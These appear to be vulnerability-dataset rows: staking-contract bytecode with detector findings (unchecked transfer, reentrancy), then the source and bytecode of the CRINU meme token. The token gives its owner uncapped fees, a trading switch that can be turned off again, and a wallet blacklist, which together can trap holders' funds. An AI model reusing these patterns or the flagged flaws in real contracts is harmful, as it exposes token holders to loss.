3ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006113116127106113036301e133806112f5876112e761271089611c1c90919063ffffffff16565b611c1c90919063ffffffff16565b611c4b90919063ffffffff16565b611c4b90919063ffffffff16565b90508093505050505b919050565b734819a96eb4b22454d628cd683ae052c2c907680881565b600081116113ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b734819a96eb4b22454d628cd683ae052c2c907680873ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561145057600080fd5b505af1158015611464573d6000803e3d6000fd5b505050506040513d602081101561147a57600080fd5b81019080805190602001909291905050506114fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61150633611986565b600061153061271061152260fa85611c1c90919063ffffffff16565b611c4b90919063ffffffff16565b90506000611547828461193990919063ffffffff16565b9050734819a96eb4b22454d628cd683ae052c2c907680873ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115ee57600080fd5b505af1158015611602573d6000803e3d6000fd5b505050506040513d602081101561161857600080fd5b810190808051906020019092919050505061169b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b6116ed81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196a90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611744336002611c6490919063ffffffff16565b6117a25761175c336002611cd990919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6301e1338081565b60046020528060005260406000206000915090505481565b60015481565b603281565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461182a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561186457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b60008282111561194557fe5b818303905092915050565b600061195f8360000183611d09565b60001c905092915050565b60008082840190508381101561197c57fe5b8091505092915050565b6000611991826111b0565b90506000811115611bd457734819a96eb4b22454d628cd683ae052c2c907680873ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611a2157600080fd5b505af1158015611a35573d6000803e3d6000fd5b505050506040513d6020811015611a4b57600080fd5b8101908080519060200190929190505050611ace576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611b2081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196a90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b788160015461196a90919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008082840290506000841480611c3b575082848281611c3857fe5b04145b611c4157fe5b8091505092915050565b600080828481611c5757fe5b0490508091505092915050565b6000611c8c836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611d8c565b905092915050565b6000611cbc836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611daf565b905092915050565b6000611cd282600001611e97565b9050919050565b6000611d01836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611ea8565b905092915050565b600081836000018054905011611d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611f196022913960400191505060405180910390fd5b826000018281548110611d7957fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114611e8b5760006001820390506000600186600001805490500390506000866000018281548110611dfa57fe5b9060005260206000200154905080876000018481548110611e1757fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480611e4f57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611e91565b60009150505b92915050565b600081600001805490509050919050565b6000611eb48383611d8c565b611f0d578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611f12565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea26469706673582212205bf0006616b6bcb889902a2af7c9fc72a6653d5b7effb543c67a1e6f6549d7b264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,398
0x3ce71a9216fcf399d071fc64a308d876132b9577
/** *Submitted for verification at Etherscan.io on 2022-03-26 */ /* https://t.me/crinumusk ░█████╗░██████╗░██╗███╗░░██╗██╗░░░██╗ ██╔══██╗██╔══██╗██║████╗░██║██║░░░██║ ██║░░╚═╝██████╔╝██║██╔██╗██║██║░░░██║ ██║░░██╗██╔══██╗██║██║╚████║██║░░░██║ ╚█████╔╝██║░░██║██║██║░╚███║╚██████╔╝ ░╚════╝░╚═╝░░╚═╝╚═╝╚═╝░░╚══╝░╚═════╝░ Token Based on Musk Tweet CYBER RODEO INU | CRINU */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract crinumusk is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Cyber Rodeo Inu"; string private constant _symbol = "CRINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x28dcF11e66fe6a5D68A38bFdEaD1e5eaA6Bf0B67); address payable private _marketingAddress = payable(0x28dcF11e66fe6a5D68A38bFdEaD1e5eaA6Bf0B67); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055b578063dd62ed3e1461057b578063ea1644d5146105c1578063f2fde38b146105e157600080fd5b8063a2a957bb146104d6578063a9059cbb146104f6578063bfd7928414610516578063c3c8cd801461054657600080fd5b80638f70ccf7116100d15780638f70ccf7146104525780638f9a55c01461047257806395d89b411461048857806398a5c315146104b657600080fd5b80637d1db4a5146103f15780637f2feddc146104075780638da5cb5b1461043457600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038757806370a082311461039c578063715018a6146103bc57806374010ece146103d157600080fd5b8063313ce5671461030b57806349bd5a5e146103275780636b999053146103475780636d8aa8f81461036757600080fd5b80631694505e116101ab5780631694505e1461027857806318160ddd146102b057806323b872dd146102d55780632fd689e3146102f557600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024857600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611965565b610601565b005b34801561020a57600080fd5b5060408051808201909152600f81526e437962657220526f64656f20496e7560881b60208201525b60405161023f9190611a2a565b60405180910390f35b34801561025457600080fd5b50610268610263366004611a7f565b6106a0565b604051901515815260200161023f565b34801561028457600080fd5b50601454610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b50670de0b6b3a76400005b60405190815260200161023f565b3480156102e157600080fd5b506102686102f0366004611aab565b6106b7565b34801561030157600080fd5b506102c760185481565b34801561031757600080fd5b506040516009815260200161023f565b34801561033357600080fd5b50601554610298906001600160a01b031681565b34801561035357600080fd5b506101fc610362366004611aec565b610720565b34801561037357600080fd5b506101fc610382366004611b19565b61076b565b34801561039357600080fd5b506101fc6107b3565b3480156103a857600080fd5b506102c76103b7366004611aec565b6107fe565b3480156103c857600080fd5b506101fc610820565b3480156103dd57600080fd5b506101fc6103ec366004611b34565b610894565b3480156103fd57600080fd5b506102c760165481565b34801561041357600080fd5b506102c7610422366004611aec565b60116020526000908152604090205481565b34801561044057600080fd5b506000546001600160a01b0316610298565b34801561045e57600080fd5b506101fc61046d366004611b19565b6108c3565b34801561047e57600080fd5b506102c760175481565b34801561049457600080fd5b506040805180820190915260058152644352494e5560d81b6020820152610232565b3480156104c257600080fd5b506101fc6104d1366004611b34565b61090b565b3480156104e257600080fd5b506101fc6104f1366004611b4d565b61093a565b34801561050257600080fd5b50610268610511366004611a7f565b610978565b34801561052257600080fd5b50610268610531366004611aec565b60106020526000908152604090205460ff1681565b34801561055257600080fd5b506101fc610985565b34801561056757600080fd5b506101fc610576366004611b7f565b6109d9565b34801561058757600080fd5b506102c7610596366004611c03565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cd57600080fd5b506101fc6105dc366004611b34565b610a7a565b3480156105ed57600080fd5b506101fc6105fc366004611aec565b610aa9565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161062b90611c3c565b60405180910390fd5b60005b815181101561069c5760016010600084848151811061065857610658611c71565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069481611c9d565b915050610637565b5050565b60006106ad338484610b93565b5060015b92915050565b60006106c4848484610cb7565b610716843361071185604051806060016040528060288152602001611db7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f3565b610b93565b5060019392505050565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161062b90611c3c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107955760405162461bcd60e51b815260040161062b90611c3c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e857506013546001600160a01b0316336001600160a01b0316145b6107f157600080fd5b476107fb8161122d565b50565b6001600160a01b0381166000908152600260205260408120546106b190611267565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161062b90611c3c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108be5760405162461bcd60e51b815260040161062b90611c3c565b601655565b6000546001600160a01b031633146108ed5760405162461bcd60e51b815260040161062b90611c3c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161062b90611c3c565b601855565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161062b90611c3c565b600893909355600a91909155600955600b55565b60006106ad338484610cb7565b6012546001600160a01b0316336001600160a01b031614806109ba57506013546001600160a01b0316336001600160a01b0316145b6109c357600080fd5b60006109ce306107fe565b90506107fb816112eb565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161062b90611c3c565b60005b82811015610a74578160056000868685818110610a2557610a25611c71565b9050602002016020810190610a3a9190611aec565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6c81611c9d565b915050610a06565b50505050565b6000546001600160a01b03163314610aa45760405162461bcd60e51b815260040161062b90611c3c565b601755565b6000546001600160a01b03163314610ad35760405162461bcd60e51b815260040161062b90611c3c565b6001600160a01b038116610b385760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062b565b6001600160a01b038216610c565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062b565b6001600160a01b038216610d7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062b565b60008111610ddf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062b565b6000546001600160a01b03848116911614801590610e0b57506000546001600160a01b03838116911614155b156110ec57601554600160a01b900460ff16610ea4576000546001600160a01b03848116911614610ea45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062b565b601654811115610ef65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062b565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3857506001600160a01b03821660009081526010602052604090205460ff16155b610f905760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062b565b6015546001600160a01b038381169116146110155760175481610fb2846107fe565b610fbc9190611cb8565b106110155760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062b565b6000611020306107fe565b6018546016549192508210159082106110395760165491505b8080156110505750601554600160a81b900460ff16155b801561106a57506015546001600160a01b03868116911614155b801561107f5750601554600160b01b900460ff165b80156110a457506001600160a01b03851660009081526005602052604090205460ff16155b80156110c957506001600160a01b03841660009081526005602052604090205460ff16155b156110e9576110d7826112eb565b4780156110e7576110e74761122d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112e57506001600160a01b03831660009081526005602052604090205460ff165b8061116057506015546001600160a01b0385811691161480159061116057506015546001600160a01b03848116911614155b1561116d575060006111e7565b6015546001600160a01b03858116911614801561119857506014546001600160a01b03848116911614155b156111aa57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d557506014546001600160a01b03858116911614155b156111e757600a54600c55600b54600d555b610a7484848484611474565b600081848411156112175760405162461bcd60e51b815260040161062b9190611a2a565b5060006112248486611cd0565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069c573d6000803e3d6000fd5b60006006548211156112ce5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062b565b60006112d86114a2565b90506112e483826114c5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133357611333611c71565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138757600080fd5b505afa15801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf9190611ce7565b816001815181106113d2576113d2611c71565b6001600160a01b0392831660209182029290920101526014546113f89130911684610b93565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611431908590600090869030904290600401611d04565b600060405180830381600087803b15801561144b57600080fd5b505af115801561145f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148157611481611507565b61148c848484611535565b80610a7457610a74600e54600c55600f54600d55565b60008060006114af61162c565b90925090506114be82826114c5565b9250505090565b60006112e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166c565b600c541580156115175750600d54155b1561151e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115478761169a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157990876116f7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a89086611739565b6001600160a01b0389166000908152600260205260409020556115ca81611798565b6115d484836117e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161991815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164782826114c5565b82101561166357505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168d5760405162461bcd60e51b815260040161062b9190611a2a565b5060006112248486611d75565b60008060008060008060008060006116b78a600c54600d54611806565b92509250925060006116c76114a2565b905060008060006116da8e87878761185b565b919e509c509a509598509396509194505050505091939550919395565b60006112e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f3565b6000806117468385611cb8565b9050838110156112e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062b565b60006117a26114a2565b905060006117b083836118ab565b306000908152600260205260409020549091506117cd9082611739565b30600090815260026020526040902055505050565b6006546117ef90836116f7565b6006556007546117ff9082611739565b6007555050565b6000808080611820606461181a89896118ab565b906114c5565b90506000611833606461181a8a896118ab565b9050600061184b826118458b866116f7565b906116f7565b9992985090965090945050505050565b600080808061186a88866118ab565b9050600061187888876118ab565b9050600061188688886118ab565b905060006118988261184586866116f7565b939b939a50919850919650505050505050565b6000826118ba575060006106b1565b60006118c68385611d97565b9050826118d38583611d75565b146112e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062b565b634e487b7160e01b600052604160045260246000fd5b